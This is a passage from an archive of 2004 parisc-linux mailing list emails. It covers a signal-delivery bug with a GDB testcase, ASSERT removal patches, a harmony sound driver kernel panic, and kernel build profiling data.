INIT: version 2.86 booting
Activating swap.
rm: cannot remove `/dev/shm/root': Not a directory
System time was Wed Nov  3 00:34:51 UTC 2004.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Wed Nov  3 00:34:53 UTC 2004.
Cleaning up ifupdown...done.
Checking all file systems...
fsck 1.35 (28-Feb-2004)
Setting kernel variables ...
... done.
Mounting local filesystems...
Cleaning /tmp /var/run /var/lock.
Running 0dns-down to make sure resolv.conf is ok...done.
Initializing: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces...done.
Starting portmap daemon: portmap.
Starting portmapper...Mounting remote filesystems...
Loading the saved-state of the serial devices... 

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Wed Nov  3 00:34:59 UTC 2004

Initializing random number generator...done.
Recovering nvi editor sessions... done.
Setting up X server socket directory /tmp/.X11-unix...done.
Setting up ICE socket directory /tmp/.ICE-unix...done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting portmap daemon: portmap.
Starting MTA: exim4.
Starting internet superserver: inetd.
Starting OpenBSD Secure Shell server: sshd.
Starting NFS common utilities: statd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Multiple signals?
Date: Fri, 5 Nov 2004 10:28:40 -0800
Lines: 136
Approved: news@gmane.org
Message-ID: <20041105182840.GA7666@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="5mCyUwZo2JvN/JJP"
X-Trace: ger.gmane.org 1416623591 11671 80.91.229.3 (22 Nov 2014 02:33:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18737 invoked by uid 65534); 5 Nov 2004 18:30:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 05 Nov 2004 19:30:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 11E163BC80; Fri,  5 Nov 2004 11:30:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01393-01; Fri, 5 Nov 2004 11:29:27 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 10BDA3BE2B; Fri,  5 Nov 2004 11:28:43 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 875FD3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Nov 2004 11:28:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30989-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Nov 2004 11:28:37 -0700 (MST)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id D28CD3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Nov 2004 11:28:36 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A6A89CD30D; Fri,  5 Nov 2004 10:28:40 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22098


--5mCyUwZo2JvN/JJP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Found a problem while debugging gdb.. it looks like we don't correctly
handle multiple pending signals in the kernel?

For example, if a task has both a SIGTRAP and a SIGALRM pending, it
looks like we only deliver the SIGTRAP but not the SIGALRM. Argh...

Does anybody have an ideas how to debug/fix this? i thought it's just a
matter of making intr_do_signal and syscall_do_signal loop back to
recheck the SIGPENDING flags, but that doesn't seem to do it....

Test case:
compile the attached program with
    gcc -g -o sigstep sigstep.c

then do something like:

(gdb) b handler
Breakpoint 1 at 0x10608: file /home/tausq/gdb/gdb-cvs/gdb/testsuite/gdb.base/sigstep.c, line 31.
(gdb) b 66
Breakpoint 2 at 0x106f4: file /home/tausq/gdb/gdb-cvs/gdb/testsuite/gdb.base/sigstep.c, line 66.
(gdb) run
Starting program: /home/tausq/gdb/build-cvs/gdb/testsuite/gdb.base/sigstep

Breakpoint 2, main ()
    at /home/tausq/gdb/gdb-cvs/gdb/testsuite/gdb.base/sigstep.c:66
66            while (!done);
(gdb) step

Breakpoint 2, main ()
    at /home/tausq/gdb/gdb-cvs/gdb/testsuite/gdb.base/sigstep.c:66
66            while (!done);

notice that the printf in the signal handler never gets triggered, and
we never stop at the breakpoint on the signal handler....

i wonder if this might also explain some other "lost signals" problems
others are seeing?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--5mCyUwZo2JvN/JJP
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="sigstep.c"

/* This testcase is part of GDB, the GNU debugger.

   Copyright 2004 Free Software Foundation, Inc.

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.
 
   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>

static volatile int done;

static void
handler (int sig)
{
  printf("in handler\n");
  done = 1;
} /* handler */

struct itimerval itime;
struct sigaction action;

/* The enum is so that GDB can easily see these macro values.  */
enum {
  itimer_real = ITIMER_REAL,
  itimer_virtual = ITIMER_VIRTUAL
} itimer = ITIMER_VIRTUAL;

main ()
{

  /* Set up the signal handler.  */
  memset (&action, 0, sizeof (action));
  action.sa_handler = handler;
  sigaction (SIGVTALRM, &action, NULL);
  sigaction (SIGALRM, &action, NULL);

  /* The values needed for the itimer.  This needs to be at least long
     enough for the setitimer() call to return.  */
  memset (&itime, 0, sizeof (itime));
  itime.it_value.tv_usec = 250 * 1000;

  /* Loop for ever, constantly taking an interrupt.  */
  while (1)
    {
      /* Set up a one-off timer.  A timer, rather than SIGSEGV, is
	 used as after a timer handler finishes the interrupted code
	 can safely resume.  */
      setitimer (itimer, &itime, NULL);
      /* Wait.  */
      while (!done);
      done = 0;
    }
}

--5mCyUwZo2JvN/JJP
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--5mCyUwZo2JvN/JJP--



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASSERT() -> BUG_ON() (2/4):
	drivers/parisc/sba_iommu.c
Date: Mon, 8 Nov 2004 23:45:02 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20041109064502.GA21599@colo.lackof.org>
References: <418A80F700001304@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623591 11674 80.91.229.3 (22 Nov 2014 02:33:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7131 invoked by uid 65534); 9 Nov 2004 06:46:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 09 Nov 2004 07:46:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B70F03BE2E; Mon,  8 Nov 2004 23:45:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13800-04; Mon, 8 Nov 2004 23:45:43 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4029D3BE30; Mon,  8 Nov 2004 23:45:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58CBD3BE2D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Nov 2004 23:45:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12275-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Nov 2004 23:45:05 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E2E903BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Nov 2004 23:45:04 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 12A5D29811F; Mon,  8 Nov 2004 23:45:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21621-06; Mon, 8 Nov 2004 23:45:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AB2F9298117; Mon,  8 Nov 2004 23:45:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418A80F700001304@mail-5-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22099

Grant Grundler wrote:
> no problem with getting rid of ASSERT.
> At this point, I'm more inclined to just delete most of them
> if they can't be replaced with something that's a compile time option.

I've removed all uses of ASSERT this weekend but couldn't test the result.
I couldn't boot the j6k test machine because of an old bug.
SBA code was clobbering the serial console when it called
pci_io_reset_devices(). I figured out some code that I *think* should
do the trick:
	ftp://ftp.parisc-linux.org/patches/diff-2.6.10-rc1-pa10-USB_reset

The ASSERT removal patch (untested) is on:
	ftp://ftp.parisc-linux.org/patches/diff-2.6.10-rc1-pa11-02

Apologies for mixing it all up in one patch.
-pa11-02 patch has some other changes in it that I need to review again.
None of this will be committed until our CVS gets resurrected
and I'll split it up if someone sees that as necessary.


Joel Soete wrote:
> mmm, reading also Matthew's answer, I don't see what kind of sol should
> we adopt to avoid "foo = 0" mistakes?

In general, the compiler will warn and I've re-arranged the code to
be more readable in those cases where no macro is used.

> I have no clue if some macros like:
> #define EQ(a, b) (a) == (b)
> ...
> would help (only one place to check but many macro's as NE, GT, GE, LT,
> LE)?

Well, in the case of macros one just has to be careful or
continue doing what I was doing before.

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [BUG] 2.6.8-1-32 Debian kernel panics in harmony
Date: Thu, 11 Nov 2004 00:38:50 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20041111073850.GA9768@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623591 11680 80.91.229.3 (22 Nov 2014 02:33:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22096 invoked by uid 65534); 11 Nov 2004 07:40:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 11 Nov 2004 08:40:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4771B3BE30; Thu, 11 Nov 2004 00:40:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06233-08; Thu, 11 Nov 2004 00:39:42 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E99A3BE33; Thu, 11 Nov 2004 00:38:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 656683BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:38:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06233-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:38:52 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C8D3E3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:38:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C171829803F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:38:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10019-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:38:50 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2347F298033; Thu, 11 Nov 2004 00:38:50 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22100

Stuart/et al ,

I was playing around with the b180 I've setup for a friend
of the family (11 year old kid) and pretty quickly
panic'd the 2.6.8-1-32 debian kernel.

I wanted to reproduce it again with serial console so
I could grab the tombstone but serial console didn't have a
getty and networking wasn't config'd...so I give up for now.
But I think it's easy enough to reproduce...

I played an mp3 with "mpg321 foo.mp3" and then ^C
that after it played for 10-20 seconds. first it gave
noises like it was looping on a garbage buffer.
I restarted the mpg and it played fine again.
Hit ^C again and again got noise.
Repeat playing the same mp3 one more time and then got a kernel panic.
panic was in the harmony interrupt routine and apologize if
that's too vague.

Please remind me tomorrow what other info is needed and
if the tombstone is necessary.

thanks,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 00:54:31 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20041111075431.GB9768@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623592 11684 80.91.229.3 (22 Nov 2014 02:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24135 invoked by uid 65534); 11 Nov 2004 07:55:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 11 Nov 2004 08:55:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2795F3BE30; Thu, 11 Nov 2004 00:55:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08304-05; Thu, 11 Nov 2004 00:55:04 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E803E3BE33; Thu, 11 Nov 2004 00:54:43 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A162E3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:54:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08198-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:54:39 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2ADEE3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:54:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 68BC729803F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:54:38 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10052-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 00:54:34 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 83EAE298033; Thu, 11 Nov 2004 00:54:31 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22101

I was comparing "time" output for various flavors of
kernels and arches. We are something like 11m/17m/5m
for real/user/sys on a dual j6700 (dual 750Mhz, running
2.6.10-rc1-pa11-32SMP kernel building a 64-bit kernel
(using gcc 3.0.4). Similar numbers for J6000 (dual 550Mhz)
doing a 32-bit kernel build (gcc 3.3.x): 14m/22m/5m.

While this might look very favorable to a similar full kernel
build on a 1.5Ghz RX2600 which takes about as long (11m/20m/1m), 
the ia64 machine spends less than 1m in the kernel.

I've collect two profiles for -64SMP and will collect
some UP profiles tomorrow. profiles so far are measuring
a full kernel build. I expect I'll do the same for -64UP
kernels too.

What I have so far is on:
	http://www.parisc-linux.org/~grundler/prof-j6700/

d- and i-cache flushing routines are still the top consumers.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 00:11:54 -0800
Lines: 60
Approved: news@gmane.org
Message-ID: <20041111081154.GR15714@tausq.org>
References: <20041111075431.GB9768@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623592 11689 80.91.229.3 (22 Nov 2014 02:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25584 invoked by uid 65534); 11 Nov 2004 08:14:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 11 Nov 2004 09:14:28 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6BA0D3BE49; Thu, 11 Nov 2004 01:14:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08445-04; Thu, 11 Nov 2004 01:14:16 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C64B73BE33; Thu, 11 Nov 2004 01:14:00 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CEA33BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 01:13:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08304-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 01:13:55 -0700 (MST)
